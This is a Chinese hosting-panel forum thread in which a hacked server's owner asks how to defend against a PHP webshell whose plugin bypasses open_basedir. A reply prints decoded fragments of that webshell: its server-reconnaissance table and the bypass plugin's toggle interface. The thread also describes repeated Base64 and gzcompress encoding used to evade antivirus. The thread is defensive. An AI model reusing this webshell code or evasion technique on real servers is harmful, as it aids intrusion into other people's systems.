当前位置:论坛首页 > Linux面板 > 求助

【疑难】php木马有插件用来绕过php防跨目录限制,如何防止...

发表在 Linux面板2022-5-13 22:42 [复制链接] 8 9990

自己用的服务器被黑了,下载研究了一下php木马文件,发现木马有插件用来绕过php防跨目录限制,可以操作服务器上所有文件,


木马文件用Base64编码了N次,还用gzcompress压缩了N次,可以绕过所有的杀毒软件,木马文件做得很强大,
可以操作服务器上所有文件,只要有一个网站被攻入,整个服务器就完蛋。



花了一下午解码,得到了木马的源文件,研究了一下,没有用什么特殊php的函数,不知道如何防范?


请问BT官方,如何防范?


使用道具 举报 只看该作者 回复
发表于 2022-5-13 22:55:06 | 显示全部楼层
1.png
使用道具 举报 回复 支持 反对
发表于 2022-5-13 23:00:59 | 显示全部楼层
$info = array(
            array("服务器时间", date("Y年m月d日 h:i:s", time())),
            array("服务器域名", "<a href=\"http://" . $_SERVER['SERVER_NAME'] . "\" target=\"_blank\">" . $_SERVER['SERVER_NAME'] . "</a>"),
            array("服务器IP地址", $_SERVER['SERVER_ADDR']),
            array("服务器操作系统", PHP_OS),
            array("服务器操作系统文字编码", $_SERVER['HTTP_ACCEPT_LANGUAGE']),
            array("服务器解译引擎", $_SERVER['SERVER_SOFTWARE']),
            array("当前用户",get_current_user()?get_current_user():"未知"),
            array("你的IP", $_SERVER["REMOTE_ADDR"]),
            array("Web服务端口", $_SERVER['SERVER_PORT']),
            array("HP运行方式", strtoupper(php_sapi_name())),
            array("HP版本", PHP_VERSION),
            array("open_basedir",ini_get("open_basedir")?ini_get("open_basedir"):"NULL"),
            array("运行于安全模式", Info_Cfg("safemode")),
            array("服务器管理员", !$adminmail),
            array("本文件路径", __FILE__),
            array("允许使用 URL 打开文件 allow_url_fopen", Info_Cfg("allow_url_fopen")),
            array("允许使用curl_exec", Info_Fun("curl_exec")),
            array("允许动态加载链接库 enable_dl", Info_Cfg("enable_dl")),
            array("显示错误信息 display_errors", Info_Cfg("display_errors")),
            array("自动定义全局变量 register_globals", Info_Cfg("register_globals")),
            array("magic_quotes_gpc", Info_Cfg("magic_quotes_gpc")),
            array("程序最多允许使用内存量 memory_limit", Info_Cfg("memory_limit")),
            array("OST最大字节数 post_max_size", Info_Cfg("post_max_size")),
            array("允许最大上传文件 upload_max_filesize", $upsize),
            array("程序最长运行时间 max_execution_time", Info_Cfg("max_execution_time") . "秒"),
            array("被禁用的函数 disable_functions", $dis_func),
            array("phpinfo()", $phpinfo),
            array("目前还有空余空间diskfreespace", intval(diskfreespace(".") / (1024 * 1024)) . 'Mb'),
            array("图形处理 GD Library", Info_Fun("imageline")),
            array("IMAP电子邮件系统", Info_Fun("imap_close")),
            array("MySQL数据库", Info_Fun("mysqli_close")),
            array("SyBase数据库", Info_Fun("sybase_close")),
            array("Oracle数据库", Info_Fun("ora_close")),
            array("Oracle 8 数据库", Info_Fun("OCILogOff")),
            array("REL相容语法 PCRE", Info_Fun("preg_match")),
            array("DF文档支持", Info_Fun("pdf_close")),
            array("ostgre SQL数据库", Info_Fun("pg_close")),
            array("SNMP网络管理协议", Info_Fun("snmpget")),
            array("压缩文件支持(Zlib)", Info_Fun("gzclose")),
            array("XML解析", Info_Fun("xml_set_object")),
            array("FTP", Info_Fun("ftp_login")),
            array("ODBC数据库连接", Info_Fun("odbc_close")),
            array("Session支持", Info_Fun("session_start")),
            array("Socket支持", Info_Fun("fsockopen")),
        );



case "bypassOpenBasedir":
        $info = ini_get("open_basedir");
        $pluginStatus = "未开启";
        $dirStatus = empty($info)?"无此限制,无需启用本插件"info;
        if(isset($_SESSION['bypass_open_basedir']))
            $pluginStatus = "已开启";

        if (isset($_POST['turn_on'])) {
            $_SESSION['bypass_open_basedir'] = true;
            $pluginStatus = "已开启";
        }

        if (isset($_POST['turn_off'])) {
            unset($_SESSION['bypass_open_basedir']);
            $pluginStatus = "未开启";
        }

        print_r(<<<EOF
<div class="actall">使用方法:<br>
本插件用来绕过php防跨目录限制<br><br>
当前open basedir状态dirStatus<br>
当前插件状态pluginStatus<br><br>
<form method="OST">
<input type="submit" name="turn_on" value="开启" style="width:50px;"><br>
</form>
<br>         
<form method="OST">
<input type="submit" name="turn_off" value="关闭" style="width:50px;">   
</form>
</div>
EOF
        );
使用道具 举报 回复 支持 反对
发表于 2022-5-14 22:52:19 | 显示全部楼层

服务器只要有任意网站上传了此文件,整台服务器就会沦陷,官方没有解决方案嘛?
使用道具 举报 回复 支持 反对
发表于 2022-5-17 21:36:19 | 显示全部楼层
已经找到方法,经测试,可以解决此问题,不知道官方能否写入到宝塔程序中?
使用道具 举报 回复 支持 反对
发表于 2022-7-26 10:49:15 | 显示全部楼层
怎么解决的?
使用道具 举报 回复 支持 反对
发表于 2022-7-26 10:51:02 | 显示全部楼层
使用道具 举报 回复 支持 反对
发表于 2022-12-5 11:10:10 | 显示全部楼层
我也遇到了这个问题,升级到最新版的宝塔也没用,请问大家怎么解决这个问题的呀?
使用道具 举报 回复 支持 反对
发表于 2022-12-5 11:12:40 | 显示全部楼层
宝塔用户_bkmaas 发表于 2022-12-5 11:10
我也遇到了这个问题,升级到最新版的宝塔也没用,请问大家怎么解决这个问题的呀? ...

https://www.bt.cn/bbs/thread-94631-1-1.html
看下我们的安全套件
使用道具 举报 回复 支持 反对
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

普通问题处理

论坛响应时间:72小时

问题处理方式:排队(仅解答)

工作时间:白班:9:00 - 18:00

紧急运维服务

响应时间:3分钟

问题处理方式:宝塔专家1对1服务

工作时间:工作日:9:00 - 18:30

宝塔专业团队为您解决服务器疑难问题

点击联系技术免费分析

工作时间:09:00至18:30

快速回复 返回顶部 返回列表